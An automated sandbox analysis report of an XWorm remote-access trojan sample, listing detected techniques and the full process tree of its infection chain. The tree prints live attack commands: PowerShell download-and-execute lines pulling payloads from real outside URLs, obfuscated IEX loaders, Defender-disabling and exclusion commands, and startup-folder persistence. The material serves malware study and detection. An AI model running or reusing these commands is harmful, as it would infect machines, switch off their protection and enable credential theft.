xworm | 280dcd871598f7ac18dba9d481761b75a46ea1603ffcc221382a512399daa416

Analysis

max time kernel
107s
max time network
120s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
22-01-2025 06:11

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

main.cmd
Size

140B
MD5

6048bdda1dfd48e6a362ab0215f5e568
SHA1

e49d8e37a5eff5fd81584bca4d2184a2a9716b67
SHA256

280dcd871598f7ac18dba9d481761b75a46ea1603ffcc221382a512399daa416
SHA512

d56ea7dc7c6b1931cd15248e034906b4187c07ea5114699b0be98e85c7f008a40a1754aa17fb0cfd1e939c04357ee37ea8d6f8f4ecd6d2b3996ef7fb3a93bcff

Score

10^/10

xworm collection credential_access defense_evasion discovery execution persistence privilege_escalation pyinstaller rat spyware stealer trojan upx vmprotect

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/43a1723/test/refs/heads/main/Mewing

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/43a1723/test/refs/heads/main/shellcode/loaderclient.ps1

Extracted

Family

xworm

Attributes

install_file
client.exe

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral2/memory/4808-737-0x00000000028A0000-0x00000000028AE000-memory.dmp	disable_win_def

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4808-81-0x0000000000400000-0x0000000000418000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 10 IoCs

flow	pid	Process
7	4472	powershell.exe
16	4472	powershell.exe
21	4472	powershell.exe
28	4244	powershell.exe
31	4244	powershell.exe
33	4244	powershell.exe
34	2272	powershell.exe
35	380	powershell.exe
37	380	powershell.exe
39	380	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1056	powershell.exe
2980	powershell.exe
2272	powershell.exe
380	powershell.exe
4472	powershell.exe
4244	powershell.exe
620	powershell.exe
1844	powershell.exe
1520	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Updateclient.scr
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	loader.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	RegAsm.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
3792	cmd.exe
4216	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
708	loader.exe
3400	Updateclient.scr
2244	Updateclient.scr
3012	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
2244	Updateclient.scr
2244	Updateclient.scr
2244	Updateclient.scr
2244	Updateclient.scr
2244	Updateclient.scr
2244	Updateclient.scr
2244	Updateclient.scr
2244	Updateclient.scr
2244	Updateclient.scr
2244	Updateclient.scr
2244	Updateclient.scr
2244	Updateclient.scr
2244	Updateclient.scr
2244	Updateclient.scr
2244	Updateclient.scr
2244	Updateclient.scr
2244	Updateclient.scr

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

VMProtect packed file 2 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/files/0x0007000000023c90-18.dat	vmprotect
behavioral2/memory/708-27-0x00000000005A0000-0x0000000000614000-memory.dmp	vmprotect

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
47	raw.githubusercontent.com
27	raw.githubusercontent.com
28	raw.githubusercontent.com
34	raw.githubusercontent.com
35	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
49	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 5 IoCs

discovery

Process Discovery

T1057

pid	Process
3936	tasklist.exe
4484	tasklist.exe
2784	tasklist.exe
4568	tasklist.exe
5024	tasklist.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 380 set thread context of 4808	380	powershell.exe	106

UPX packed file 42 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023cb4-180.dat	upx
behavioral2/memory/2244-184-0x00007FFDD37F0000-0x00007FFDD3E53000-memory.dmp	upx
behavioral2/files/0x0007000000023ca8-186.dat	upx
behavioral2/memory/2244-189-0x00007FFDF2080000-0x00007FFDF20A7000-memory.dmp	upx
behavioral2/files/0x0007000000023cb2-188.dat	upx
behavioral2/files/0x0007000000023cb1-191.dat	upx
behavioral2/files/0x0007000000023caf-204.dat	upx
behavioral2/memory/2244-205-0x00007FFDF1F90000-0x00007FFDF1F9F000-memory.dmp	upx
behavioral2/files/0x0007000000023cae-203.dat	upx
behavioral2/files/0x0007000000023cad-202.dat	upx
behavioral2/files/0x0007000000023cac-201.dat	upx
behavioral2/files/0x0007000000023cab-200.dat	upx
behavioral2/files/0x0007000000023caa-199.dat	upx
behavioral2/files/0x0007000000023ca9-198.dat	upx
behavioral2/files/0x000a000000023ca7-197.dat	upx
behavioral2/files/0x0007000000023cb8-196.dat	upx
behavioral2/files/0x0007000000023cb7-195.dat	upx
behavioral2/files/0x0007000000023cb6-194.dat	upx
behavioral2/files/0x0007000000023cb3-192.dat	upx
behavioral2/memory/2244-207-0x00007FFDE5580000-0x00007FFDE5599000-memory.dmp	upx
behavioral2/memory/2244-209-0x00007FFDDE9A0000-0x00007FFDDE9CB000-memory.dmp	upx
behavioral2/memory/2244-211-0x00007FFDD7F10000-0x00007FFDD7F35000-memory.dmp	upx
behavioral2/memory/2244-213-0x00007FFDD6F40000-0x00007FFDD70BF000-memory.dmp	upx
behavioral2/memory/2244-217-0x00007FFDEF7A0000-0x00007FFDEF7AD000-memory.dmp	upx
behavioral2/memory/2244-216-0x00007FFDD7EF0000-0x00007FFDD7F09000-memory.dmp	upx
behavioral2/memory/2244-222-0x00007FFDD6AE0000-0x00007FFDD6BAE000-memory.dmp	upx
behavioral2/memory/2244-221-0x00007FFDD7A10000-0x00007FFDD7A44000-memory.dmp	upx
behavioral2/memory/2244-220-0x00007FFDD37F0000-0x00007FFDD3E53000-memory.dmp	upx
behavioral2/memory/2244-226-0x00007FFDD32B0000-0x00007FFDD37E3000-memory.dmp	upx
behavioral2/memory/2244-232-0x00007FFDDE9A0000-0x00007FFDDE9CB000-memory.dmp	upx
behavioral2/memory/2244-231-0x00007FFDEE7C0000-0x00007FFDEE7CD000-memory.dmp	upx
behavioral2/memory/2244-230-0x00007FFDD7E40000-0x00007FFDD7E54000-memory.dmp	upx
behavioral2/memory/2244-225-0x00007FFDF2080000-0x00007FFDF20A7000-memory.dmp	upx
behavioral2/memory/2244-234-0x00007FFDD7F10000-0x00007FFDD7F35000-memory.dmp	upx
behavioral2/memory/2244-235-0x00007FFDD6E80000-0x00007FFDD6F33000-memory.dmp	upx
behavioral2/memory/2244-258-0x00007FFDD6F40000-0x00007FFDD70BF000-memory.dmp	upx
behavioral2/memory/2244-422-0x00007FFDD7A10000-0x00007FFDD7A44000-memory.dmp	upx
behavioral2/memory/2244-424-0x00007FFDD6AE0000-0x00007FFDD6BAE000-memory.dmp	upx
behavioral2/memory/2244-425-0x00007FFDD32B0000-0x00007FFDD37E3000-memory.dmp	upx
behavioral2/memory/2244-631-0x00007FFDD37F0000-0x00007FFDD3E53000-memory.dmp	upx
behavioral2/memory/2244-637-0x00007FFDD6F40000-0x00007FFDD70BF000-memory.dmp	upx
behavioral2/memory/2244-646-0x00007FFDD37F0000-0x00007FFDD3E53000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x0009000000023c97-156.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1672	cmd.exe
4424	netsh.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2900	WMIC.exe
4424	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2900	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1552	reg.exe

Suspicious behavior: EnumeratesProcesses 35 IoCs

pid	Process
4472	powershell.exe
4472	powershell.exe
4244	powershell.exe
4244	powershell.exe
4244	powershell.exe
4244	powershell.exe
2272	powershell.exe
380	powershell.exe
2272	powershell.exe
380	powershell.exe
380	powershell.exe
380	powershell.exe
620	powershell.exe
620	powershell.exe
1844	powershell.exe
1844	powershell.exe
4808	RegAsm.exe
1520	powershell.exe
1520	powershell.exe
1520	powershell.exe
1056	powershell.exe
1056	powershell.exe
1056	powershell.exe
4216	powershell.exe
4216	powershell.exe
4216	powershell.exe
4192	powershell.exe
4192	powershell.exe
4192	powershell.exe
2980	powershell.exe
2980	powershell.exe
2980	powershell.exe
4280	powershell.exe
4280	powershell.exe
4280	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4472	powershell.exe
Token: SeDebugPrivilege	4244	powershell.exe
Token: SeIncreaseQuotaPrivilege	4244	powershell.exe
Token: SeSecurityPrivilege	4244	powershell.exe
Token: SeTakeOwnershipPrivilege	4244	powershell.exe
Token: SeLoadDriverPrivilege	4244	powershell.exe
Token: SeSystemProfilePrivilege	4244	powershell.exe
Token: SeSystemtimePrivilege	4244	powershell.exe
Token: SeProfSingleProcessPrivilege	4244	powershell.exe
Token: SeIncBasePriorityPrivilege	4244	powershell.exe
Token: SeCreatePagefilePrivilege	4244	powershell.exe
Token: SeBackupPrivilege	4244	powershell.exe
Token: SeRestorePrivilege	4244	powershell.exe
Token: SeShutdownPrivilege	4244	powershell.exe
Token: SeDebugPrivilege	4244	powershell.exe
Token: SeSystemEnvironmentPrivilege	4244	powershell.exe
Token: SeRemoteShutdownPrivilege	4244	powershell.exe
Token: SeUndockPrivilege	4244	powershell.exe
Token: SeManageVolumePrivilege	4244	powershell.exe
Token: 33	4244	powershell.exe
Token: 34	4244	powershell.exe
Token: 35	4244	powershell.exe
Token: 36	4244	powershell.exe
Token: SeIncreaseQuotaPrivilege	4244	powershell.exe
Token: SeSecurityPrivilege	4244	powershell.exe
Token: SeTakeOwnershipPrivilege	4244	powershell.exe
Token: SeLoadDriverPrivilege	4244	powershell.exe
Token: SeSystemProfilePrivilege	4244	powershell.exe
Token: SeSystemtimePrivilege	4244	powershell.exe
Token: SeProfSingleProcessPrivilege	4244	powershell.exe
Token: SeIncBasePriorityPrivilege	4244	powershell.exe
Token: SeCreatePagefilePrivilege	4244	powershell.exe
Token: SeBackupPrivilege	4244	powershell.exe
Token: SeRestorePrivilege	4244	powershell.exe
Token: SeShutdownPrivilege	4244	powershell.exe
Token: SeDebugPrivilege	4244	powershell.exe
Token: SeSystemEnvironmentPrivilege	4244	powershell.exe
Token: SeRemoteShutdownPrivilege	4244	powershell.exe
Token: SeUndockPrivilege	4244	powershell.exe
Token: SeManageVolumePrivilege	4244	powershell.exe
Token: 33	4244	powershell.exe
Token: 34	4244	powershell.exe
Token: 35	4244	powershell.exe
Token: 36	4244	powershell.exe
Token: SeIncreaseQuotaPrivilege	4244	powershell.exe
Token: SeSecurityPrivilege	4244	powershell.exe
Token: SeTakeOwnershipPrivilege	4244	powershell.exe
Token: SeLoadDriverPrivilege	4244	powershell.exe
Token: SeSystemProfilePrivilege	4244	powershell.exe
Token: SeSystemtimePrivilege	4244	powershell.exe
Token: SeProfSingleProcessPrivilege	4244	powershell.exe
Token: SeIncBasePriorityPrivilege	4244	powershell.exe
Token: SeCreatePagefilePrivilege	4244	powershell.exe
Token: SeBackupPrivilege	4244	powershell.exe
Token: SeRestorePrivilege	4244	powershell.exe
Token: SeShutdownPrivilege	4244	powershell.exe
Token: SeDebugPrivilege	4244	powershell.exe
Token: SeSystemEnvironmentPrivilege	4244	powershell.exe
Token: SeRemoteShutdownPrivilege	4244	powershell.exe
Token: SeUndockPrivilege	4244	powershell.exe
Token: SeManageVolumePrivilege	4244	powershell.exe
Token: 33	4244	powershell.exe
Token: 34	4244	powershell.exe
Token: 35	4244	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4808	RegAsm.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4648 wrote to memory of 1632	4648	cmd.exe	83
PID 4648 wrote to memory of 1632	4648	cmd.exe	83
PID 1632 wrote to memory of 4472	1632	mshta.exe	84
PID 1632 wrote to memory of 4472	1632	mshta.exe	84
PID 4472 wrote to memory of 4576	4472	powershell.exe	86
PID 4472 wrote to memory of 4576	4472	powershell.exe	86
PID 4472 wrote to memory of 708	4472	powershell.exe	87
PID 4472 wrote to memory of 708	4472	powershell.exe	87
PID 708 wrote to memory of 3484	708	loader.exe	90
PID 708 wrote to memory of 3484	708	loader.exe	90
PID 3484 wrote to memory of 2044	3484	cmd.exe	92
PID 3484 wrote to memory of 2044	3484	cmd.exe	92
PID 2044 wrote to memory of 4244	2044	mshta.exe	93
PID 2044 wrote to memory of 4244	2044	mshta.exe	93
PID 4244 wrote to memory of 1328	4244	powershell.exe	97
PID 4244 wrote to memory of 1328	4244	powershell.exe	97
PID 1328 wrote to memory of 3640	1328	csc.exe	98
PID 1328 wrote to memory of 3640	1328	csc.exe	98
PID 4244 wrote to memory of 1524	4244	powershell.exe	99
PID 4244 wrote to memory of 1524	4244	powershell.exe	99
PID 4244 wrote to memory of 2272	4244	powershell.exe	100
PID 4244 wrote to memory of 2272	4244	powershell.exe	100
PID 4244 wrote to memory of 380	4244	powershell.exe	102
PID 4244 wrote to memory of 380	4244	powershell.exe	102
PID 380 wrote to memory of 5068	380	powershell.exe	105
PID 380 wrote to memory of 5068	380	powershell.exe	105
PID 380 wrote to memory of 5068	380	powershell.exe	105
PID 380 wrote to memory of 4808	380	powershell.exe	106
PID 380 wrote to memory of 4808	380	powershell.exe	106
PID 380 wrote to memory of 4808	380	powershell.exe	106
PID 380 wrote to memory of 4808	380	powershell.exe	106
PID 380 wrote to memory of 4808	380	powershell.exe	106
PID 380 wrote to memory of 4808	380	powershell.exe	106
PID 380 wrote to memory of 4808	380	powershell.exe	106
PID 380 wrote to memory of 4808	380	powershell.exe	106
PID 4808 wrote to memory of 620	4808	RegAsm.exe	109
PID 4808 wrote to memory of 620	4808	RegAsm.exe	109
PID 4808 wrote to memory of 620	4808	RegAsm.exe	109
PID 4808 wrote to memory of 1844	4808	RegAsm.exe	111
PID 4808 wrote to memory of 1844	4808	RegAsm.exe	111
PID 4808 wrote to memory of 1844	4808	RegAsm.exe	111
PID 4244 wrote to memory of 3400	4244	powershell.exe	113
PID 4244 wrote to memory of 3400	4244	powershell.exe	113
PID 3400 wrote to memory of 2244	3400	Updateclient.scr	114
PID 3400 wrote to memory of 2244	3400	Updateclient.scr	114
PID 2244 wrote to memory of 1792	2244	Updateclient.scr	115
PID 2244 wrote to memory of 1792	2244	Updateclient.scr	115
PID 2244 wrote to memory of 2556	2244	Updateclient.scr	116
PID 2244 wrote to memory of 2556	2244	Updateclient.scr	116
PID 2244 wrote to memory of 1656	2244	Updateclient.scr	117
PID 2244 wrote to memory of 1656	2244	Updateclient.scr	117
PID 2244 wrote to memory of 2720	2244	Updateclient.scr	121
PID 2244 wrote to memory of 2720	2244	Updateclient.scr	121
PID 1792 wrote to memory of 1520	1792	cmd.exe	123
PID 1792 wrote to memory of 1520	1792	cmd.exe	123
PID 1656 wrote to memory of 2784	1656	cmd.exe	124
PID 1656 wrote to memory of 2784	1656	cmd.exe	124
PID 2720 wrote to memory of 3112	2720	cmd.exe	125
PID 2720 wrote to memory of 3112	2720	cmd.exe	125
PID 2556 wrote to memory of 1056	2556	cmd.exe	126
PID 2556 wrote to memory of 1056	2556	cmd.exe	126
PID 2244 wrote to memory of 2908	2244	Updateclient.scr	128
PID 2244 wrote to memory of 2908	2244	Updateclient.scr	128
PID 2908 wrote to memory of 4472	2908	cmd.exe	130

Views/modifies file attributes 1 TTPs 4 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4576	attrib.exe
1524	attrib.exe
1044	attrib.exe
2024	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\main.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:4648
- C:\Windows\system32\mshta.exe
  mshta vbscript:CreateObject("WScript.Shell").Run("powershell -command ""iwr('https://codeforfun.vercel.app/sigma') | iex""",0)(window.close)
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "iwr('https://codeforfun.vercel.app/sigma') | iex"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4472
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h +s C:\ProgramData\Loader..{21EC2020-3AEA-1069-A2DD-08002B30309D}
      4⤵
      Views/modifies file attributes
      PID:4576
  - - C:\ProgramData\Loader..{21EC2020-3AEA-1069-A2DD-08002B30309D}\loader.exe
      "C:\ProgramData\Loader..{21EC2020-3AEA-1069-A2DD-08002B30309D}\loader.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:708
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Loader..{21EC2020-3AEA-1069-A2DD-08002B30309D}\loader.cmd" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3484
      - C:\Windows\system32\mshta.exe
        
        mshta vbscript:CreateObject("WScript.Shell").Run("powershell -command ""iwr('https://raw.githubusercontent.com/43a1723/test/main/download.ps1') | iex""",0)(window.close)
        6⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:2044
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "iwr('https://raw.githubusercontent.com/43a1723/test/main/download.ps1') | iex"
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4244
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\a53vou0y\a53vou0y.cmdline"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1328
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA7F8.tmp" "c:\Users\Admin\AppData\Local\Temp\a53vou0y\CSCFF67564F1D304152956D11BB44E95F.TMP"
        9⤵
        
        PID:3640
        
        C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\ProgramData\Loader..{21EC2020-3AEA-1069-A2DD-08002B30309D}
        8⤵
        Views/modifies file attributes
        
        PID:1524
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" I'E'X((New-Object Net.Webclient)."DowNloAdSTRiNg"('https://raw.githubusercontent.com/43a1723/test/refs/heads/main/Mewing'))
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2272
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" I'E'X((New-Object Net.Webclient)."DowNloAdSTRiNg"('https://raw.githubusercontent.com/43a1723/test/refs/heads/main/shellcode/loaderclient.ps1'))
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:380
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        #cmd
        9⤵
        
        PID:5068
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        #cmd
        9⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4808
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe'
        10⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:620
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RegAsm.exe'
        10⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1844
        
        C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Updateclient.scr
        
        "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Updateclient.scr" /S
        8⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3400
        
        C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Updateclient.scr
        
        "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Updateclient.scr" /S
        9⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2244
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Updateclient.scr'"
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:1792
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Updateclient.scr'
        11⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1520
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2"
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:2556
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        11⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1056
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:1656
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        11⤵
        Enumerates processes with tasklist
        
        PID:2784
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:2720
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        11⤵
        
        PID:3112
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:2908
        
        C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
        11⤵
        
        PID:4472
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
        10⤵
        
        PID:2664
        
        C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
        11⤵
        
        PID:216
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        10⤵
        
        PID:4896
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        11⤵
        Detects videocard installed
        
        PID:4424
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        10⤵
        
        PID:4192
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        11⤵
        Detects videocard installed
        
        PID:2900
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
        10⤵
        
        PID:1268
        
        C:\Windows\system32\reg.exe
        
        reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
        11⤵
        Modifies registry key
        
        PID:1552
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        10⤵
        
        PID:3868
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        11⤵
        Enumerates processes with tasklist
        
        PID:5024
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        10⤵
        
        PID:512
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        11⤵
        Enumerates processes with tasklist
        
        PID:4568
